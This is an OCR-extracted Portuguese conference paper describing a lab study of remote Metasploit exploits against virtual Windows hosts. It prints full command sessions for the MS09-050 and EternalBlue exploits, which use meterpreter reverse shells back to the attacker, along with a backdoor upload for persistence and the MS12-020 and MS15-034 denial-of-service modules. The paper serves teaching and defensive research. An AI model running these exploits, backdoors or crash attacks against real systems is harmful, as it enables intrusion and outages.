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Resumo—Ataques utilizando exploits sdo uma das principais
ameagas contra sistemas computacionais na atualidade. Por esse
motivo, é crucial que estudantes e profissionais da area de
informatica, em especial, voltados para a seguranca da
informacdo e de sistemas computacionais, estejam preparados
para lidar com tais atagues. Nesse contexto, este trabalho
discorre acerca de um estudo pratico sobre ataques em sistemas e
servigos de rede utilizando exploits remotos. Para tal, a partir de
um cenario de referéncia, um ambiente computacional é utilizado
para fins de experimentagdo e discussdo. Em linhas gerais, as
experimentacbes e discussdes sdo realizadas de modo a
possibilitar ao leitor identificar algumas abordagens e solucdes
utilizadas na realizagdo de tais ataques. Essa discussdo &
importante, por exemplo, para o desenvolvimento de mecanismos
especificos de seguranca, bem como em atividades de ensino e/ou
de pesquisa relacionadas ao tema, de modo geral.

Palavras-chave—Exploits; ~ Seguranca da
Seguranca em Sistemas Computacionais.

Informagéo;

. INTRODUCAO

Dentre os diversos incidentes de seguranca realizados no
ambito da Internet, grande parte esta relacionado com a
exploracdo de vulnerabilidades nos softwares em execu¢do
nos sistemas computacionais ao longo da rede. Como
exemplo, de acordo com relatérios técnicos disponibilizados
pela empresa McAfee Labs [1], varias vulnerabilidades tidas
como ‘“zero-day”, em que nenhum patch esta prontamente
disponivel e o fornecedor pode ndo estar ciente acerca da
mesma [2], foram exploradas no Microsoft Windows, no
Microsoft Office, no ThinkPHP e no Apple iOS para a
realizacdo de ataques cibernéticos no primeiro trimestre de
2019. Como resultado, uma série de incidentes de seguranca,
tais como invasGes, propagaces de cadigos maliciosos
(malwares) e ataques de negagdo de servico (Denial of
Service, DoS), dentre outros, tornou-se parte da rotina dos
milhares de usuarios que exploram recursos da Internet em
suas atividades diarias. Como exemplo, nos Gltimos 3 anos
(anos de 2016, 2017 e 2018), mais de 2.150.000 incidentes de
seguranca, tais como scans, fraudes, invasdes e ataques de
negacdo de servico, dentre outros, foram reportados ao Centro
de Estudos, Resposta e Tratamento de Incidentes de Seguranga
no Brasil (CERT.br) [3].

Nesse cenério, varios incidentes de seguranca sdo
realizados por meio de ferramentas invasivas desenvolvidas
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especificamente para explorar as falhas de seguranga de um
determinado sistema, os exploits [4]. Como exemplo, por meio
de um exploit executado remotamente para explorar uma
vulnerabilidade em um software em execucdo no computador
da vitima, um atacante pode instalar backdoors e filtrar
informagOes confidenciais da mesma, nesse caso, sem ter
acesso fisico ao sistema comprometido [5]. Além disso, em
um contexto mais amplo, toda a seguranca de um ambiente de
rede pode ser comprometida por meio de um ataque
cibernético utilizando exploits, em que suas ofensivas tendem
a explorar uma série de vulnerabilidades de software, servico
ou sistema para obter privilégios ilegais e executar operagdes
ndo autorizadas de leitura e escrita, por exemplo [6]. Nesse
cenario, varios incidentes de seguranca recentes no ambito da
Internet sdo pertinentes ao emprego de exploits [1].

Diante desse cenario, compreender a forma com a qual tais
incidentes sdo realizados, bem como as possiveis abordagens e
solucBes empregadas quanto aos mesmos, € crucial para que
novas pesquisas e contribuicdes sejam realizadas no ambito da
seguranca da informacdo e de sistemas computacionais. Dessa
forma, objetivando contribuir com outros trabalhos
relacionados ao tema [2], [4]-[10], bem como
complementando trabalhos anteriores desenvolvidos pelos
autores no &mbito da seguranga da informacéo e de sistemas
computacionais [11]-[14], este trabalho discorre acerca de um
estudo prético sobre ataques em sistemas e servicos de rede
utilizando exploits remotos. Para tal, a partir de um cenério de
referéncia, um ambiente computacional é utilizado para fins de
experimentacdo e discussdo. Em linhas gerais, as
experimentacfes e discussdes sdo realizadas de modo a
possibilitar ao leitor identificar algumas abordagens e solucdes
utilizadas na realizacdo de tais ataques. Essa discussdo é
importante, por exemplo, para que novas contribuicdes
possam ser realizadas no &mbito da seguranca da informacdo e
de sistemas computacionais, tais como pertinentes ao
desenvolvimento de estratégias, ferramentas e/ou mecanismos
especificos de seguranca, bem como em atividades de ensino
e/ou de pesquisa relacionadas ao tema, de modo geral.

O restante deste trabalho esta organizado da seguinte
forma: a Secdo Il apresenta o cenério de referéncia para o
estudo prético abordado neste trabalho. A Secédo Il discorre
sobre 0s materiais e métodos. A Secdo IV discorre sobre os
resultados experimentais e, por fim, a Secdo V apresenta a
conclusdo e os trabalhos futuros no &mbito deste trabalho.



2019 Brazilian Technology Symposium

Il. CENARIO DE REFERENCIA

O cenario de referéncia para o estudo pratico sobre ataques
em sistemas e servicos de rede utilizando exploits remotos
abordado neste trabalho é ilustrado na Figura 1.

Host H2
(Alvo, IP 210,210.210.2/24)

ost H1
(Atacante, IP 210.210.210.1/24)

Host H3
{Alvo, IP 210.210.210.3/24)

Fig. 1. Cenério de referéncia para o estudo pratico sobre ataques em sistemas
e servigos de rede utilizando exploits remotos abordado neste trabalho: Host
atacante (H1) e hosts alvos (H2 e H3).

Nesse contexto, o cenario de referéncia empregado neste
trabalho é composto por trés hosts: um host atacante (H1) e
dois hosts alvos (hosts H2 e H3). Ambos os hosts estdo
interconectados entre si por meio de uma rede de comunicacao
simulando um cenario Internet minimalista (ndo enfatizando,
por exemplo, questdes e particularidades voltadas a
organizacdo da rede em termos de Sistemas Autéhomos,
Pontos de Troca de Trafego ou protocolos de roteamento inter-
AS e intra-AS, dentre outros), em que o host H1 possui
endereco IP 210.210.210.1/24, o host H2 possui endereco IP
210.210.210.2/24 e o host H3 possui endereco IP
210.210.210.3/24.

Nesse cenério, ambos os hosts atuam como sistemas finais
na Internet, em que as plataformas operacionais (isto §,
sistemas operacionais) dos hosts H1 e H2 sdo voltadas para
clientes de rede e a plataforma operacional do host H3 é
voltada para servidores de rede. Em termos de servigos de
rede, o host H1 ndo possui qualquer configuragdo especifica
para tal, o host H2 fornece um servico de hospedagem de
paginas web (via HTTP, Hypertext Transfer Protocol) e o host
H3 fornece um servico de area de trabalho remota (via RDP,
Remote Desktop Protocol). Nenhum mecanismo de seguranca,
tal como antivirus e/ou firewall est4 ativo em tais hosts.

I1l. MATERIAIS E METODOS

Para a implementacdo do cendrio de referéncia ilustrado na
Figura 1, o host H1 foi configurado utilizando o sistema
operacional Kali Linux 2019.2 e teve como base para a
realizacdo dos ataques a ferramenta Metasploit Framework
[15]. O host H2 foi configurado utilizando o sistema
operacional Microsoft Windows 7 Professional e teve como
base para o servico de hospedagem de paginas web a solucéo
Microsoft Internet Information Services (I1S). Por sua vez, o
host H3 foi configurado utilizando o sistema operacional
Microsoft Windows Server 2008 Enterprise, com acesso
remoto ao seu ambiente desktop por meio do servico de area
de trabalho remota da Microsoft (via RDP). Ambos os hosts
(H1, H2 e H3) foram implementados na forma de hosts
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virtuais sobre o sistema operacional Linux Ubuntu 18.04 LTS,
0s quais foram virtualizados por meio da solu¢cdo VMware
Workstation Player 15.

Nesse cendrio, os ataques utilizando exploits remotos
foram realizados do host H1 para os hosts H2 e H3, nesse
caso, explorando as vulnerabilidades presentes nos sistemas
operacionais e nos servicos de rede ofertados por ambos 0s
hosts ao longo da rede. Essas vulnerabilidades sdo pertinentes
aos boletins de seguranca da Microsoft MS09-050 [16],
MS17-010 [17], MS12-020 [18] e MS15-034 [19], todas tidas
como criticas, possibilitando, por exemplo, a execucdo de
cddigos remotos e/ou a realizacdo de ataques de negacao de
servico pelo atacante.

IV. RESULTADOS E DiSCcUSSAO

Tendo como base o cenario de referéncia descrito na Se¢do
I, bem como das solucBes de software descritas na Secéo I11,
os ataques foram realizados do host H1 para os hosts H2 e H3.
Nesse contexto, tal como descrito na Secdo Ill, as seguintes
vulnerabilidades foram exploradas:

A. Vulnerabilidades pertinentes ao boletim de seguranca da
Microsoft MS09-050

De acordo com o boletim de seguranca da Microsoft
MS09-050 [16], por meio de vulnerabilidades presentes no
SMBV2 (Server Message Block Version 2) no sistema afetado
(que compreende os sistemas operacionais Windows Vista e
Windows Server 2008), um atacante pode explorar, de modo
critico, a execugdo remota de um codigo arbitrario junto ao
mesmo. Essas vulnerabilidades possibilitam, por exemplo, que
0 atacante ndo autenticado tenha controle total sobre o sistema
afetado, bem como realize ataques de negacdo de servico junto
ao mesmo. Para tal, basta o envio de um pacote SMB
especialmente criado para explorar as vulnerabilidades do
sistema afetado.

Nesse contexto, objetivando que o atacante néo
autenticado tenha controle total sobre o sistema afetado, a
partir do host atacante H1 e tendo como alvo o host H3, é
possivel explorar essa vulnerabilidade por meio do exploit
ms09 050 smb2_negotiate_func_index, com comandos de
exemplo ilustrados por meio da Figura 2 (via msfconsole):

nsf5 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

msf5 exploit(windows/smb/mse9_050_smb2_negotiate_func_index) > set payload windows/met
erpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

nsf5 exploit(windows/smb/ms@9_050_smb2_negotiate_func_index) > set RHOST 210.210.210.3
RHOST => 210.210.216.3

nsfs exploit(windows/smb/mse9_e50_smb2_negotiate_func_index) > set LHOST 210.210.210.1
LHOST => 210.210.210.1

msfS exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > exploit

Started reverse TCP handler on 210.210.210.1:4444

210.210.210.3:445 - Connecting to the target (216.210.210.3:445)...

210.210.210.3:445 - Sending the exploit packet (938 bytes)...

210.210.2160.3:445 - Waiting up to 180 seconds for exploit to trigger...

Sending stage (179779 bytes) to 210.2160.210.3

Meterpreter session 2 opened (210.210.210.1:4444 -> 210.210.210.3:49158) at 2019-0
9-12 21:01:35 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter >

Fig. 2. Exemplo de comandos para exploracdo de vulnerabilidades
pertinentes ao boletim de seguranga da Microsoft MS09-050 [16], nesse caso,
exploradas pelo host atacante H1 por meio do exploit
ms09_050_smb2_negotiate_func_index (via msfconsole) e tendo como alvo o
host H3.
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Nesse exemplo, para utilizagdo do exploit em questéo, 0s
comandos “set” sdo empregados para a definicdo dos
pardmetros utilizados durante o ataque, tal como acerca do
payload utilizado para realizagdo de uma conexdo reversa
entre o host alvo e o host atacante, bem como de seus
respectivos enderecos IP. Por sua vez, o comando “exploit” é
utilizado para explorar o host alvo por meio do exploit em
questao.

Nesse contexto, com acesso e controle total ao sistema do
host alvo, o atacante pode explora-lo por meio dos diversos
recursos fornecidos pelo Metasploit Framework. E possivel,
por exemplo, adicionar e/ou remover dados, servigos, Usuarios
e/ou aplicacdes do sistema, ativar recursos de keylogger e
screenlogger, roubar informag@es confidenciais e fazer upload
de malwares diversos, dentre outros. Nesse caso, uma
abordagem comum é pertinente ao emprego de malwares para
a manutencdo do acesso ao host alvo, em especial, para
“contornar” uma eventual corre¢do da falha de seguranga por
parte do usuério. Diante desse cendario, como exemplo, a
Figura 3 ilustra o upload e a execucdo de um backdoor junto
ao host alvo, nesse caso, objetivando acessos futuros ao host
em questdo mesmo apds uma correcdo da falha de seguranca
explorada para a realizacdo do ataque.

Nesse contexto, objetivando que o atacante néo
autenticado tenha controle total sobre o sistema afetado, a
partir do host atacante H1 e tendo como alvo o host H2, é
possivel explorar essa vulnerabilidade por meio do exploit
eternalblue_doublepulsar, com comandos de exemplo
ilustrados por meio da Figura 4 (via msfconsole):

nsf5 > use exploit/windows/smb/eternalblue_doublepulsar

msf5 exploit(windows/smb/eternalblue_doublepulsar) > set RHOST 2106.210.210.2

RHOST => 210.210.210.2

nsf5 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
PROCESSINJECT => explorer.exe

msf5 exploit(windows/smb/eternalblue_doublepulsar) > set PAYLOAD windows/meterpreter
Jreverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

nsf5 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 210.210.210.1

LHOST => 210.210.210.1

msf5 exploit(windows/smb/eternalblue_doublepulsar) > set LPORT 4444

LPORT => 4444

nsf5 exploit(windows/smb/eternalblue_doublepulsar) > exploit

Started reverse TCP handler on 210.210.210.1:4444

210.210.210.2:445 - Generating Eternalblue XML data

210.210.210.2:445 - Generating Doublepulsar XML data

210.210.210.2:445 - Generating payload DLL for Doublepulsar

210.2160.210.2:445 - Writing DLL in /root/.wine/drive_c/eternalll.dll

210.210.210.2:445 - Launching Eternalblue...

210.210.210.2:445 - Pwned! Eternalblue success!

210.2160.210.2:445 - Launching Doublepulsar...

sending stage (179779 bytes) to 210.210.210.2

Meterpreter session 1 opened (210.210.210.1:4444 -> 210.210.210.2:49158) at 2019
-09-12 18:30:05 +0000

210.210.210.2:445 - Remote code executed... 3... 2... 1...

meterpreter >

meterpreter > upload backdoor.exe "C:\Windows\Temp"

uploading : backdoor.exe -> C:\Windows\Temp

uploaded : backdoor.exe -> C:\Windows\Temp\backdoor.exe
meterpreter > execute -f "C:\Windows\Temp\backdoor.exe 54321"
Process 1800 created.
meterpreter >

Fig. 3. Exemplo de comandos para upload e execucédo de um backdoor junto
ao host alvo H3.

Nesse exemplo, por meio do comando “upload [...]”, 0
backdoor de nome “backdoor.exe” é enviado para o diretorio
“C:\Windows\Temp ” do host alvo. Em seguida, por meio do
comando “execute [...] ”, 0 backdoor em questdo é executado
para abrir a porta 54321/TCP junto ao host alvo. Dessa forma,
por meio de tal porta/backdoor, o atacante pode manter seu
acesso ao host alvo mesmo ap6s uma eventual correcdo na
falha de seguranca que originou o ataque de exemplo.

Diante de tal cenario, dentre as diversas possibilidades de
exploracdo do host alvo, o atacante também poderia utiliza-lo
para a realizacdo de outros incidentes comuns no dmbito da
Internet, tais como para realizacdo de phishing e ataques de
negacdo de servico e/ou de forca bruta, dentre outros.

B. Vulnerabilidades pertinentes ao boletim de seguranca da
Microsoft MS17-010

De acordo com o boletim de seguranca da Microsoft
MS17-010 [17], por meio de vulnerabilidades presentes no
Microsoft SMBv1 (Server Message Block Version 1.0) no
sistema afetado (que compreende os sistemas operacionais
Windows Vista, Windows 7, Windows Server 2008, Windows
Server 2008 R2, Windows 8.1, Windows RT 8.1, Windows
10, Windows Server 2012, Windows Server 2012 R2 e
Windows Server 2016), um atacante pode explorar, de modo
critico, a execucdo remota de um cddigo arbitrario junto ao
mesmo. Para tal, basta o envio de um pacote SMB
especialmente criado para explorar as vulnerabilidades do
sistema afetado.
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Fig. 4. Exemplo de comandos para exploracdo de vulnerabilidades
pertinentes ao boletim de seguranga da Microsoft MS17-010 [17], nesse caso,
exploradas pelo host atacante H1 por meio do exploit
eternalblue_doublepulsar (via msfconsole) e tendo como alvo o host H2.

Nesse exemplo, assim como exemplificado anteriormente
(Figura 2), para utilizagao do exploit em questdo, os comandos
“set” sdo empregados para a definicdo dos parametros
utilizados durante o ataque e o comando “exploit” é utilizado
para explorar o host alvo por meio do exploit em questdo. Em
tal exemplo, pode-se observar que também foi necessario
especificar o processo a ser explorado no host alvo (nesse
caso, processo “explorer.exe”) e a porta de comunicagdo
utilizada para a conexdo reversa do host alvo para o host
atacante (nesse caso, porta “4444/TCP”).

Nesse cendrio, apds a execucdo do exploit em questdo, o
atacante possui acesso e controle total ao sistema do host alvo,
podendo explora-lo por meio dos diversos recursos fornecidos
pelo Metasploit Framework, bem como utilizd-lo para a
realizacdo de outros incidentes comuns no &mbito da Internet.

C. Vulnerabilidades pertinentes ao boletim de seguranca da
Microsoft MS12-020

De acordo com o boletim de seguranca da Microsoft
MS12-020 [18], por meio de vulnerabilidades presentes na
area de trabalho remota (via RDP) no sistema afetado (que
compreende os sistemas operacionais Windows XP, Windows
Vista, Windows 7, Windows Server 2003, Windows Server
2008 e Windows Server 2008 R2), um atacante pode explorar,
de modo critico, a execugdo remota de um codigo arbitrario
junto ao mesmo. Essas vulnerabilidades possibilitam, por
exemplo, que o atacante ndo autenticado tenha controle total
sobre o sistema afetado, bem como realize ataques de negacéo
de servi¢o junto ao mesmo. Para tal, basta o envio de uma
sequéncia de pacotes RDP especialmente criados para explorar
as vulnerabilidades do sistema afetado.




2019 Brazilian Technology Symposium

Nesse contexto, objetivando que o atacante néo
autenticado realize ataques de negagdo de servico ao sistema
afetado, a partir do host atacante H1 e tendo como alvo o host
H3, é possivel explorar essa vulnerabilidade por meio do
exploit ms12_020_maxchannelids, com comandos de exemplo
ilustrados por meio da Figura 5 (via msfconsole):

msf5 > use auxiliary/dos/windows/rdp/ms12_620_maxchannelids
msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set RHOST 216.216.210.3
RHOST => 210.210.210.3
msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > exploit
Running module against 216.2160.210.3

210.216.210.3:3389 -
top Use-After-Free DoS
210.210.210.3:3389 -

210.210.210.3:3389 - Sending M512-020 Microsoft Remote Desk
216.210.210.3:3389 - 210 bytes sent

210.210.210.3:3389 - 210.210.210.3:3389 - Checking RDP status...
[-] 210.210.210.3:3389 - Auxiliary failed: Rex::HostUnreachable The host (210.210.21
0.3:3389) was unreachable.

Auxiliary module execution completed
msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) >

Fig. 5. Exemplo de comandos para exploracio de vulnerabilidades
pertinentes ao boletim de seguranga da Microsoft MS12-020 [18], nesse caso,
exploradas pelo host atacante H1 por meio do exploit
ms12_020_maxchannelids (via msfconsole) e tendo como alvo o host H3.

Nesse exemplo, pode-se observar que apenas o enderego
IP do host alvo (nesse caso, 210.210.210.3) necessitou ser
informado para a execucdo do exploit em questdo. Por padréo,
a porta explorada é a 3389/TCP.

Por sua vez, quanto aos efeitos do ataque junto ao host
alvo, a vulnerabilidade explorada resultou em uma falha geral
do mesmo, com erros pertinentes ao “RDPWD.SYS” exibidos
ao administrador do sistema (Figura 6).

D. Vulnerabilidades pertinentes ao boletim de seguranca da
Microsoft MS15-034

De acordo com o boletim de seguranca da Microsoft
MS15-034 [19], por meio de uma vulnerabilidade no HTTP
(HTTP.sys) no sistema afetado (que compreende os sistemas
operacionais Windows 7, Windows 8, Windows 8.1, Windows
Server 2008 R2, Windows Server 2012 e Windows Server
2012 R2), um atacante pode explorar, de modo critico, a
execucdo remota de um cédigo arbitrario no contexto de uma
conta de sistema. Para tal, basta o envio de uma solicitacéo
HTTP especialmente criada para explorar a vulnerabilidade do
sistema afetado.

Nesse contexto, objetivando que o atacante néo
autenticado realize ataques de negagdo de servico ao sistema
afetado, a partir do host atacante H1 e tendo como alvo o host
H2, é possivel explorar essa vulnerabilidade por meio do
exploit ms15 034 ulonglongadd, com comandos de exemplo
ilustrados por meio da Figura 7 (via msfconsole):

nsf5 > use auxiliary/dos/http/ms15_834_ulonglongadd

nsf5 auxiliary(dos/http/msi5_034_ulonglongadd) > set RHOST 216.216.216.2
RHOST => 210.210.210.2

msf5 auxiliary(dos/http/msi15_034_ulonglongadd) > exploit

DOS request sent
Scanned 1 of 1 hosts (108% complete)
Auxiliary module execution completed

msf5 auxiliary(dos/http/ms15_034_ulonglongadd) >

own to p

Fig. 7. Exemplo de comandos para exploracdo de vulnerabilidades
pertinentes ao boletim de seguranga da Microsoft MS15-034 [19], nesse caso,
exploradas pelo host atacante H1 por meio do exploit
ms15_034_ulonglongadd (via msfconsole) e tendo como alvo o host H2.

Nesse exemplo, pode-se observar que apenas o endereco
IP do host alvo (nesse caso, 210.210.210.2) necessitou ser
informado para a execucdo do exploit em questdo. Por padréo,
a porta explorada é a 80/TCP.

Por sua vez, quanto aos efeitos do ataque junto ao host
alvo, a vulnerabilidade explorada resultou em uma falha geral
do mesmo (Figura 8).

Fig. 6. Exemplo de tela pertinente a interrupcdo imediata de funcionamento
do sistema operacional do host alvo H3 ap6s a execugdo dos comandos
voltados para a exploracdo de suas vulnerabilidades junto ao host atacante H1
(Figura 5).

Diante desse cendrio, é possivel observar que a
vulnerabilidade explorada resultou na indisponibilidade total
do sistema afetado, nesse caso, por meio de vulnerabilidades
presentes em seu servigo de &rea de trabalho remota (via RDP)
no &mbito da rede.
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Fig. 8. Exemplo de tela pertinente a interrupcdo imediata de funcionamento
do sistema operacional do host alvo H2 ap6s a execugdo dos comandos
voltados para a exploragao de suas vulnerabilidades junto ao host atacante H1
(Figura 7).
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Diante desse cenario, é possivel observar que a
vulnerabilidade explorada resultou na indisponibilidade total
do sistema afetado, nesse caso, por meio de vulnerabilidades
presentes em seu servi¢o de hospedagem de paginas web (via
11S) no &mbito da rede.

V. CONCLUSAO E TRABALHOS FUTUROS

Este trabalho discorreu acerca de um estudo pratico sobre
um dos incidentes de seguranca mais comuns no ambito da
Internet na atualidade: os ataques aos sistemas e servicos de
rede utilizando exploits remotos. Para tal, a partir de um
cendrio de referéncia, um ambiente computacional foi
utilizado para fins de experimentacdo e discussdo,
possibilitando ao leitor identificar algumas abordagens e
solucBes utilizadas na realizacdo de tais ataques, em especial,
por meio da exploracdo de vulnerabilidades presentes em
sistemas e servicos de rede baseados no Microsoft Windows
(nas plataformas operacionais voltadas para clientes e para
servidores de rede). Essa discusséo é importante, por exemplo,
para que novas contribui¢es possam ser realizadas no &mbito
da seguranca da informac&o e de sistemas computacionais, tais
como pertinentes ao desenvolvimento de estratégias,
ferramentas e/ou mecanismos eficientes e abrangentes de
seguranca, bem como em atividades de ensino e/ou de
pesquisa relacionadas ao tema, de modo geral.

Enquanto parte dos trabalhos futuros, objetiva-se explorar
0 emprego de recursos de Redes Definidas por Software
(Software-Defined Networking, SDN) na mitigacdo de tais
ataques no ambito da rede. De modo complementar, objetiva-
se explorar e discutir questfes relacionadas a realizacdo e a
mitigacdo de outros incidentes comuns de seguranca no
ambito da Internet, tal como pertinentes aos ataques de forca
bruta, por exemplo.
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